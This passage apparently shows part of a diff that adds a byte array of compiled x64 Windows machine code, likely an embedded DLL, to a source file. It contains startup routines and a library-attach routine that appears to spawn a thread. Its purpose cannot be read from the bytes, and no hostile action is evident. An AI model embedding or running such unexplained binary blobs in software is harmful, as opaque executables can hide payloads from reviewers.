0x48, 0x8b, 0xd7, 0x4c, 0x89, 0xbc, 0x24, 0x80, 0x00, 0x00, + 0x00, 0x33, 0xc9, 0x4c, 0x8b, 0xff, 0xff, 0x15, 0xc4, 0x08, 0x01, 0x00, + 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0xfe, 0xff, 0xff, + 0xff, 0xe9, 0xd8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9c, 0x24, 0xb8, 0x00, + 0x00, 0x00, 0x83, 0xc7, 0xc0, 0x33, 0xdb, 0x85, 0xff, 0x7e, 0x61, 0x48, + 0x89, 0xb4, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x90, 0x48, 0x63, 0xf3, 0x48, + 0x8d, 0x15, 0x16, 0x8e, 0x01, 0x00, 0x41, 0xb8, 0x40, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x0c, 0x2e, 0xe8, 0x77, 0xfd, 0x00, 0x00, 0x85, 0xc0, 0x74, + 0x08, 0xff, 0xc3, 0x3b, 0xdf, 0x7c, 0xdd, 0xeb, 0x2b, 0x83, 0xfb, 0xff, + 0x74, 0x26, 0x49, 0x8b, 0x45, 0x70, 0x0f, 0x10, 0x00, 0x0f, 0x11, 0x04, + 0x2e, 0x0f, 0x10, 0x48, 0x10, 0x0f, 0x11, 0x4c, 0x2e, 0x10, 0x0f, 0x10, + 0x40, 0x20, 0x0f, 0x11, 0x44, 0x2e, 0x20, 0x0f, 0x10, 0x48, 0x30, 0x0f, + 0x11, 0x4c, 0x2e, 0x30, 0x48, 0x8b, 0xb4, 0x24, 0xc0, 0x00, 0x00, 0x00, + 0x48, 0x8d, 0x55, 0x16, 0x4d, 0x8b, 0xc7, 0x49, 0x8b, 0xce, 0xe8, 0xe9, + 0x16, 0x00, 0x00, 0x48, 0x8b, 0xcd, 0xe8, 0x69, 0x38, 0x00, 0x00, 0x4c, + 0x8d, 0x4c, 0x24, 0x24, 0xc7, 0x44, 0x24, 0x24, 0x00, 0x00, 0x00, 0x00, + 0x41, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xd7, 0x49, 0x8b, 0xce, + 0xff, 0x15, 0x1a, 0x08, 0x01, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0xb8, 0x00, + 0x00, 0x00, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0xfd, 0xff, 0xff, 0xff, 0xeb, + 0x1d, 0x48, 0x8b, 0x0d, 0x74, 0xc2, 0x01, 0x00, 0x45, 0x33, 0xc9, 0x45, + 0x33, 0xc0, 0xba, 0xce, 0x0f, 0x00, 0x00, 0xff, 0x15, 0xf7, 0x09, 0x01, + 0x00, 0x41, 0xff, 0xd6, 0x33, 0xc0, 0x48, 0x8b, 0xbc, 0x24, 0x90, 0x00, + 0x00, 0x00, 0x4c, 0x8b, 0xb4, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8b, + 0xbc, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x70, 0x48, + 0x33, 0xcc, 0xe8, 0xdd, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x98, 0x00, + 0x00, 0x00, 0x41, 0x5d, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, + 0x83, 0xfa, 0x01, 0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5c, + 0x24, 0x30, 0x48, 0x8d, 0x15, 0x57, 0xc1, 0x01, 0x00, 0x48, 0x8d, 0x1d, + 0x30, 0xd4, 0x01, 0x00, 0x33, 0xc0, 0x0f, 0x1f, 0x40, 0x00, 0x66, 0x66, + 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0x0c, 0x10, + 0x88, 0x0c, 0x18, 0x48, 0x8d, 0x40, 0x01, 0x84, 0xc9, 0x75, 0xf1, 0x48, + 0x8d, 0x0d, 0x8e, 0xc1, 0x01, 0x00, 0xe8, 0x2d, 0x3b, 0x00, 0x00, 0x89, + 0x05, 0x63, 0xd4, 0x01, 0x00, 0x4c, 0x8d, 0x05, 0xc8, 0xfd, 0xff, 0xff, + 0x48, 0x8d, 0x05, 0xdd, 0xc1, 0x01, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x28, + 0x00, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x05, 0x4e, 0xd4, + 0x01, 0x00, 0x33, 0xd2, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, + 0x33, 0xc9, 0xff, 0x15, 0xec, 0x06, 0x01, 0x00, 0x48, 0x8b, 0x5c, 0x24, + 0x30, 0x48, 0x89, 0x05, 0x38, 0xd4, 0x01, 0x00, 0xb8, 0x01, 0x00, 0x00, + 0x00, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0x85, 0xd2, 0x75, 0x17, 0x48, 0x8b, + 0x0d, 0x23, 0xd4, 0x01, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0xba, 0x19, + 0x06, 0x25, 0x20, 0xff, 0x15, 0xd3, 0x06, 0x01, 0x00, 0xb8, 0x01, 0x00, + 0x00, 0x00, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, + 0xcc, 0xcc, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x3b, 0x0d, 0x81, 0xb6, 0x01, 0x00, 0x75, 0x10, 0x48, 0xc1, 0xc1, + 0x10, 0x66, 0xf7, 0xc1, 0xff, 0xff, 0x75, 0x01, 0xc3, 0x48, 0xc1, 0xc9, + 0x10, 0xe9, 0x96, 0x03, 0x00, 0x00, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0x85, 0xd2, 0x74, 0x39, 0x83, 0xea, 0x01, 0x74, 0x28, 0x83, 0xea, 0x01, + 0x74, 0x16, 0x83, 0xfa, 0x01, 0x74, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xe8, 0x72, 0x07, 0x00, 0x00, 0xeb, 0x05, + 0xe8, 0x43, 0x07, 0x00, 0x00, 0x0f, 0xb6, 0xc0, 0x48, 0x83, 0xc4, 0x28, + 0xc3, 0x49, 0x8b, 0xd0, 0x48, 0x83, 0xc4, 0x28, 0xe9, 0x0f, 0x00, 0x00, + 0x00, 0x4d, 0x85, 0xc0, 0x0f, 0x95, 0xc1, 0x48, 0x83, 0xc4, 0x28, 0xe9, + 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, + 0x20, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xf1, 0x33, 0xc9, 0xe8, 0xe2, 0x07, + 0x00, 0x00, 0x84, 0xc0, 0x0f, 0x84, 0xc8, 0x00, 0x00, 0x00, 0xe8, 0x69, + 0x06, 0x00, 0x00, 0x8a, 0xd8, 0x88, 0x44, 0x24, 0x40, 0x40, 0xb7, 0x01, + 0x83, 0x3d, 0x99, 0xc6, 0x01, 0x00, 0x00, 0x0f, 0x85, 0xc5, 0x00, 0x00, + 0x00, 0xc7, 0x05, 0x89, 0xc6, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xe8, + 0xb4, 0x06, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x4f, 0xe8, 0xc3, 0x0a, 0x00, + 0x00, 0xe8, 0xf6, 0x05, 0x00, 0x00, 0xe8, 0x15, 0x06, 0x00, 0x00, 0x48, + 0x8d, 0x15, 0xf2, 0x08, 0x01, 0x00, 0x48, 0x8d, 0x0d, 0xcb, 0x08, 0x01, + 0x00, 0xe8, 0x56, 0x3a, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x29, 0xe8, 0x51, + 0x06, 0x00, 0x00, 0x84, 0xc0, 0x74, 0x20, 0x48, 0x8d, 0x15, 0xaa, 0x08, + 0x01, 0x00, 0x48, 0x8d, 0x0d, 0x9b, 0x08, 0x01, 0x00, 0xe8, 0xd2, 0x39, + 0x00, 0x00, 0xc7, 0x05, 0x34, 0xc6, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x40, 0x32, 0xff, 0x8a, 0xcb, 0xe8, 0xc6, 0x08, 0x00, 0x00, 0x40, 0x84, + 0xff, 0x75, 0x3f, 0xe8, 0x0c, 0x09, 0x00, 0x00, 0x48, 0x8b, 0xd8, 0x48, + 0x83, 0x38, 0x00, 0x74, 0x24, 0x48, 0x8b, 0xc8, 0xe8, 0x13, 0x08, 0x00, + 0x00, 0x84, 0xc0, 0x74, 0x18, 0x4c, 0x8b, 0xc6, 0xba, 0x02, 0x00, 0x00, + 0x00, 0x49, 0x8b, 0xce, 0x48, 0x8b, 0x03, 0x4c, 0x8b, 0x0d, 0x36, 0x08, + 0x01, 0x00, 0x41, 0xff, 0xd1, 0xff, 0x05, 0x55, 0xc0, 0x01, 0x00, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, + 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x8b, 0x7c, 0x24, 0x48, 0x48, + 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xb9, 0x07, 0x00, 0x00, 0x00, 0xe8, + 0xc0, 0x08, 0x00, 0x00, 0x90, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xec, 0x30, 0x40, 0x8a, 0xf9, 0x8b, 0x05, 0x15, + 0xc0, 0x01, 0x00, 0x85, 0xc0, 0x7f, 0x0d, 0x33, 0xc0, 0x48, 0x8b, 0x5c, + 0x24, 0x40, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xff, 0xc8, 0x89, 0x05, + 0xfc, 0xbf, 0x01, 0x00, 0xe8, 0x4f, 0x05, 0x00, 0x00, 0x8a, 0xd8, 0x88, + 0x44, 0x24, 0x20, 0x83, 0x3d, 0x82, 0xc5, 0x01, 0x00, 0x02, 0x75, 0x37, + 0xe8, 0x63, 0x06, 0x00, 0x00, 0xe8, 0x06, 0x05, 0x00, 0x00, 0xe8, 0xf5, + 0x09, 0x00, 0x00, 0x83, 0x25, 0x6a, 0xc5, 0x01, 0x00, 0x00, 0x8a, 0xcb, + 0xe8, 0xff, 0x07, 0x00, 0x00, 0x33, 0xd2, 0x40, 0x8a, 0xcf, 0xe8, 0x19, + 0x08, 0x00, 0x00, 0xf6, 0xd8, 0x1b, 0xdb, 0x83, 0xe3, 0x01, 0xe8, 0x65, + 0x06, 0x00, 0x00, 0x8b, 0xc3, 0xeb, 0xa2, 0xb9, 0x07, 0x00, 0x00, 0x00, + 0xe8, 0x3b, 0x08, 0x00, 0x00, 0x90, 0x90, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x20, 0x4c, 0x89, 0x40, 0x18, 0x89, 0x50, 0x10, 0x48, 0x89, + 0x48, 0x08, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xec, 0x40, 0x49, 0x8b, + 0xf0, 0x8b, 0xfa, 0x4c, 0x8b, 0xf1, 0x85, 0xd2, 0x75, 0x0f, 0x39, 0x15, + 0x78, 0xbf, 0x01, 0x00, 0x7f, 0x07, 0x33, 0xc0, 0xe9, 0xee, 0x00, 0x00, + 0x00, 0x8d, 0x42, 0xff, 0x83, 0xf8, 0x01, 0x77, 0x45, 0x48, 0x8b, 0x05, + 0xc0, 0x07, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x0a, 0xc7, 0x44, 0x24, + 0x30, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x14, 0xff, 0x15, 0x23, 0x07, 0x01, + 0x00, 0x8b, 0xd8, 0x89, 0x44, 0x24, 0x30, 0x85, 0xc0, 0x0f, 0x84, 0xb2, + 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x8b, 0xd7, 0x49, 0x8b, 0xce, 0xe8, + 0xa0, 0xfd, 0xff, 0xff, 0x8b, 0xd8, 0x89, 0x44, 0x24, 0x30, 0x85, 0xc0, + 0x0f, 0x84, 0x97, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc6, 0x8b, 0xd7, 0x49, + 0x8b, 0xce, 0xe8, 0x95, 0xfc, 0xff, 0xff, 0x8b, 0xd8, 0x89, 0x44, 0x24, + 0x30, 0x83, 0xff, 0x01, 0x75, 0x36, 0x85, 0xc0, 0x75, 0x32, 0x4c, 0x8b, + 0xc6, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0xe8, 0x79, 0xfc, 0xff, 0xff, 0x48, + 0x85, 0xf6, 0x0f, 0x95, 0xc1, 0xe8, 0xc6, 0xfe, 0xff, 0xff, 0x48, 0x8b, + 0x05, 0x47, 0x07, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x0e, 0x4c, 0x8b, + 0xc6, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0xff, 0x15, 0xac, 0x06, 0x01, 0x00, + 0x85, 0xff, 0x74, 0x05, 0x83, 0xff, 0x03, 0x75, 0x40, 0x4c, 0x8b, 0xc6, + 0x8b, 0xd7, 0x49, 0x8b, 0xce, 0xe8, 0x2e, 0xfd, 0xff, 0xff, 0x8b, 0xd8, + 0x89, 0x44, 0x24, 0x30, 0x85, 0xc0, 0x74, 0x29, 0x48, 0x8b, 0x05, 0x0d, + 0x07, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x09, 0x8d, 0x58, 0x01, 0x89, + 0x5c, 0x24, 0x30, 0xeb, 0x14, 0x4c, 0x8b, 0xc6, 0x8b, 0xd7, 0x49, 0x8b, + 0xce, 0xff, 0x15, 0x69, 0x06, 0x01, 0x00, 0x8b, 0xd8, 0x89, 0x44, 0x24, + 0x30, 0xeb, 0x06, 0x33, 0xdb, 0x89, 0x5c, 0x24, 0x30, 0x8b, 0xc3, 0x48, + 0x8b, 0x5c, 0x24, 0x78, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5e, 0x5f, 0x5e, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf8, 0x8b, 0xda, + 0x48, 0x8b, 0xf1, 0x83, 0xfa, 0x01, 0x75, 0x05, 0xe8, 0xbb, 0x02, 0x00, + 0x00, 0x4c, 0x8b, 0xc7, 0x8b, 0xd3, 0x48, 0x8b, 0xce, 0x48, 0x8b, 0x5c, + 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, + 0xe9, 0x8f, 0xfe, 0xff, 0xff, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x33, 0xc9, 0xff, 0x15, 0xd7, 0x03, 0x01, + 0x00, 0x48, 0x8b, 0xcb, 0xff, 0x15, 0xc6, 0x03, 0x01, 0x00, 0xff, 0x15, + 0xd0, 0x03, 0x01, 0x00, 0x48, 0x8b, 0xc8, 0xba, 0x09, 0x04, 0x00, 0xc0, + 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0x25, 0xc4, 0x03, 0x01, 0x00, + 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x38, 0xb9, 0x17, 0x00, + 0x00, 0x00, 0xff, 0x15, 0xb8, 0x03, 0x01, 0x00, 0x85, 0xc0, 0x74, 0x07, + 0xb9, 0x02, 0x00, 0x00, 0x00, 0xcd, 0x29, 0x48, 0x8d, 0x0d, 0x86, 0xbe, + 0x01, 0x00, 0xe8, 0xc9, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x44, 0x24, 0x38, + 0x48, 0x89, 0x05, 0x6d, 0xbf, 0x01, 0x00, 0x48, 0x8d, 0x44, 0x24, 0x38, + 0x48, 0x83, 0xc0, 0x08, 0x48, 0x89, 0x05, 0xfd, 0xbe, 0x01, 0x00, 0x48, + 0x8b, 0x05, 0x56, 0xbf, 0x01, 0x00, 0x48, 0x89, 0x05, 0xc7, 0xbd, 0x01, + 0x00, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x89, 0x05, 0xcb, 0xbe, 0x01, + 0x00, 0xc7, 0x05, 0xa1, 0xbd, 0x01, 0x00, 0x09, 0x04, 0x00, 0xc0, 0xc7, + 0x05, 0x9b, 0xbd, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xc7, 0x05, 0xa5, + 0xbd, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x08, 0x00, 0x00, 0x00, + 0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8d, 0x0d, 0x9d, 0xbd, 0x01, 0x00, 0x48, + 0xc7, 0x04, 0x01, 0x02, 0x00, 0x00, 0x00, 0xb8, 0x08, 0x00, 0x00, 0x00, + 0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8b, 0x0d, 0x2d, 0xb2, 0x01, 0x00, 0x48, + 0x89, 0x4c, 0x04, 0x20, 0xb8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x6b, 0xc0, + 0x01, 0x48, 0x8b, 0x0d, 0x10, 0xb2, 0x01, 0x00, 0x48, 0x89, 0x4c, 0x04, + 0x20, 0x48, 0x8d, 0x0d, 0x9c, 0x05, 0x01, 0x00, 0xe8, 0xff, 0xfe, 0xff, + 0xff, 0x48, 0x83, 0xc4, 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, + 0xb9, 0x08, 0x00, 0x00, 0x00, 0xe8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x83, + 0xc4, 0x28, 0xc3, 0xcc, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, + 0xb9, 0x17, 0x00, 0x00, 0x00, 0xff, 0x15, 0xd1, 0x02, 0x01, 0x00, 0x85, + 0xc0, 0x74, 0x08, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0xc8, 0xcd, 0x29, 0x48, + 0x8d, 0x0d, 0x9e, 0xbd, 0x01, 0x00, 0xe8, 0x71, 0x00, 0x00, 0x00, 0x48, + 0x8b, 0x44, 0x24, 0x28, 0x48, 0x89, 0x05, 0x85, 0xbe, 0x01, 0x00, 0x48, + 0x8d, 0x44, 0x24, 0x28, 0x48, 0x83, 0xc0, 0x08, 0x48, 0x89, 0x05, 0x15, + 0xbe, 0x01, 0x00, 0x48, 0x8b, 0x05, 0x6e, 0xbe, 0x01, 0x00, 0x48, 0x89, + 0x05, 0xdf, 0xbc, 0x01, 0x00, 0xc7, 0x05, 0xc5, 0xbc, 0x01, 0x00, 0x09, + 0x04, 0x00, 0xc0, 0xc7, 0x05, 0xbf, 0xbc, 0x01, 0x00, 0x01, 0x00, 0x00, + 0x00, 0xc7, 0x05, 0xc9, 0xbc, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0xb8, + 0x08, 0x00, 0x00, 0x00, 0x48, 0x6b, 0xc0, 0x00, 0x48, 0x8d, 0x0d, 0xc1, + 0xbc, 0x01, 0x00, 0x8b, 0x54, 0x24, 0x30, 0x48, 0x89, 0x14, 0x01, 0x48, + 0x8d, 0x0d, 0xea, 0x04, 0x01, 0x00, 0xe8, 0x4d, 0xfe, 0xff, 0xff, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x57, 0x48, 0x83, + 0xec, 0x40, 0x48, 0x8b, 0xd9, 0xff, 0x15, 0xfd, 0x01, 0x01, 0x00, 0x48, + 0x8b, 0xbb, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, + 0x8b, 0xcf, 0x45, 0x33, 0xc0, 0xff, 0x15, 0xed, 0x01, 0x01, 0x00, 0x48, + 0x85, 0xc0, 0x74, 0x32, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8d, + 0x4c, 0x24, 0x58, 0x48, 0x8b, 0x54, 0x24, 0x50, 0x4c, 0x8b, 0xc8, 0x48, + 0x89, 0x4c, 0x24, 0x30, 0x4c, 0x8b, 0xc7, 0x48, 0x8d, 0x4c, 0x24, 0x60, + 0x48, 0x89, 0x4c, 0x24, 0x28, 0x33, 0xc9, 0x48, 0x89, 0x5c, 0x24, 0x20, + 0xff, 0x15, 0xbe, 0x01, 0x01, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x68, 0x48, + 0x83, 0xc4, 0x40, 0x5f, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x56, 0x57, + 0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0xd9, 0xff, 0x15, 0x8f, 0x01, 0x01, + 0x00, 0x48, 0x8b, 0xb3, 0xf8, 0x00, 0x00, 0x00, 0x33, 0xff, 0x45, 0x33, + 0xc0, 0x48, 0x8d, 0x54, 0x24, 0x60, 0x48, 0x8b, 0xce, 0xff, 0x15, 0x7d, + 0x01, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x39, 0x48, 0x83, 0x64, 0x24, + 0x38, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x68, 0x48, 0x8b, 0x54, 0x24, 0x60, + 0x4c, 0x8b, 0xc8, 0x48, 0x89, 0x4c, 0x24, 0x30, 0x4c, 0x8b, 0xc6, 0x48, + 0x8d, 0x4c, 0x24, 0x70, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x33, 0xc9, 0x48, + 0x89, 0x5c, 0x24, 0x20, 0xff, 0x15, 0x4e, 0x01, 0x01, 0x00, 0xff, 0xc7, + 0x83, 0xff, 0x02, 0x7c, 0xb1, 0x48, 0x83, 0xc4, 0x40, 0x5f, 0x5e, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x55, 0x48, 0x8b, + 0xec, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x05, 0x58, 0xb0, 0x01, 0x00, + 0x48, 0xbb, 0x32, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 0x00, 0x48, 0x3b, + 0xc3, 0x75, 0x74, 0x48, 0x83, 0x65, 0x18, 0x00, 0x48, 0x8d, 0x4d, 0x18, + 0xff, 0x15, 0x4a, 0x01, 0x01, 0x00, 0x48, 0x8b, 0x45, 0x18, 0x48, 0x89, + 0x45, 0x10, 0xff, 0x15, 0x34, 0x01, 0x01, 0x00, 0x8b, 0xc0, 0x48, 0x31, + 0x45, 0x10, 0xff, 0x15, 0x40, 0x00, 0x01, 0x00, 0x8b, 0xc0, 0x48, 0x8d, + 0x4d, 0x20, 0x48, 0x31, 0x45, 0x10, 0xff, 0x15, 0x10, 0x01, 0x01, 0x00, + 0x8b, 0x45, 0x20, 0x48, 0x8d, 0x4d, 0x10, 0x48, 0xc1, 0xe0, 0x20, 0x48, + 0x33, 0x45, 0x20, 0x48, 0x33, 0x45, 0x10, 0x48, 0x33, 0xc1, 0x48, 0xb9, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x48, 0x23, 0xc1, 0x48, + 0xb9, 0x33, 0xa2, 0xdf, 0x2d, 0x99, 0x2b, 0x00, 0x00, 0x48, 0x3b, 0xc3, + 0x48, 0x0f, 0x44, 0xc1, 0x48, 0x89, 0x05, 0xd5, 0xaf, 0x01, 0x00, 0x48, + 0x8b, 0x5c, 0x24, 0x48, 0x48, 0xf7, 0xd0, 0x48, 0x89, 0x05, 0xbe, 0xaf, + 0x01, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0x48, 0x8d, 0x0d, 0x61, + 0xc0, 0x01, 0x00, 0x48, 0xff, 0x25, 0xca, 0x00, 0x01, 0x00, 0xcc, 0xcc, + 0x48, 0x8d, 0x0d, 0x51, 0xc0, 0x01, 0x00, 0xe9, 0xf8, 0x08, 0x00, 0x00, + 0x48, 0x8d, 0x05, 0x55, 0xc0, 0x01, 0x00, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0x8b, 0xef, 0xff, 0xff, 0x48, 0x83, 0x08, 0x24, 0xe8, 0xe6, 0xff, + 0xff, 0xff, 0x48, 0x83, 0x08, 0x02, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0xa7, 0x06, 0x00, 0x00, 0x85, 0xc0, 0x74, + 0x21, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0x48, 0x08, 0xeb, 0x05, 0x48, 0x3b, 0xc8, 0x74, 0x14, 0x33, 0xc0, 0xf0, + 0x48, 0x0f, 0xb1, 0x0d, 0x1c, 0xc0, 0x01, 0x00, 0x75, 0xee, 0x32, 0xc0, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xb0, 0x01, 0xeb, 0xf7, 0xcc, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0x6b, 0x06, 0x00, 0x00, 0x85, 0xc0, 0x74, + 0x07, 0xe8, 0xb6, 0x04, 0x00, 0x00, 0xeb, 0x19, 0xe8, 0x53, 0x06, 0x00, + 0x00, 0x8b, 0xc8, 0xe8, 0x6c, 0x3a, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x04, + 0x32, 0xc0, 0xeb, 0x07, 0xe8, 0x0f, 0x3e, 0x00, 0x00, 0xb0, 0x01, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, 0x33, 0xc9, 0xe8, 0x3d, + 0x01, 0x00, 0x00, 0x84, 0xc0, 0x0f, 0x95, 0xc0, 0x48, 0x83, 0xc4, 0x28, + 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0xe8, 0x97, 0x08, 0x00, + 0x00, 0x84, 0xc0, 0x75, 0x04, 0x32, 0xc0, 0xeb, 0x12, 0xe8, 0xde, 0x40, + 0x00, 0x00, 0x84, 0xc0, 0x75, 0x07, 0xe8, 0x95, 0x08, 0x00, 0x00, 0xeb, + 0xec, 0xb0, 0x01, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0xd7, 0x40, 0x00, 0x00, 0xe8, 0x7e, 0x08, 0x00, 0x00, 0xb0, 0x01, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, + 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xec, 0x20, 0x49, 0x8b, 0xf9, 0x49, 0x8b, 0xf0, 0x8b, 0xda, + 0x48, 0x8b, 0xe9, 0xe8, 0xc4, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x16, + 0x83, 0xfb, 0x01, 0x75, 0x11, 0x4c, 0x8b, 0xc6, 0x33, 0xd2, 0x48, 0x8b, + 0xcd, 0x48, 0x8b, 0xc7, 0xff, 0x15, 0x7a, 0x01, 0x01, 0x00, 0x48, 0x8b, + 0x54, 0x24, 0x58, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x8b, 0x5c, 0x24, 0x30, + 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, + 0xc4, 0x20, 0x5f, 0xe9, 0x50, 0x33, 0x00, 0x00, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0x7f, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x10, 0x48, 0x8d, 0x0d, + 0x1c, 0xbf, 0x01, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xe9, 0x8f, 0x3e, 0x00, + 0x00, 0xe8, 0x56, 0x37, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x05, 0xe8, 0x31, + 0x37, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0x33, 0xc9, 0xe8, 0x75, 0x40, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x28, 0xe9, + 0x00, 0x08, 0x00, 0x00, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x0f, 0xb6, + 0x05, 0xd7, 0xbe, 0x01, 0x00, 0x85, 0xc9, 0xbb, 0x01, 0x00, 0x00, 0x00, + 0x0f, 0x44, 0xc3, 0x88, 0x05, 0xc7, 0xbe, 0x01, 0x00, 0xe8, 0x76, 0x03, + 0x00, 0x00, 0xe8, 0x6d, 0x07, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x04, 0x32, + 0xc0, 0xeb, 0x14, 0xe8, 0xc8, 0x3f, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x09, + 0x33, 0xc9, 0xe8, 0xa5, 0x07, 0x00, 0x00, 0xeb, 0xea, 0x8a, 0xc3, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x80, 0x3d, 0x8c, 0xbe, 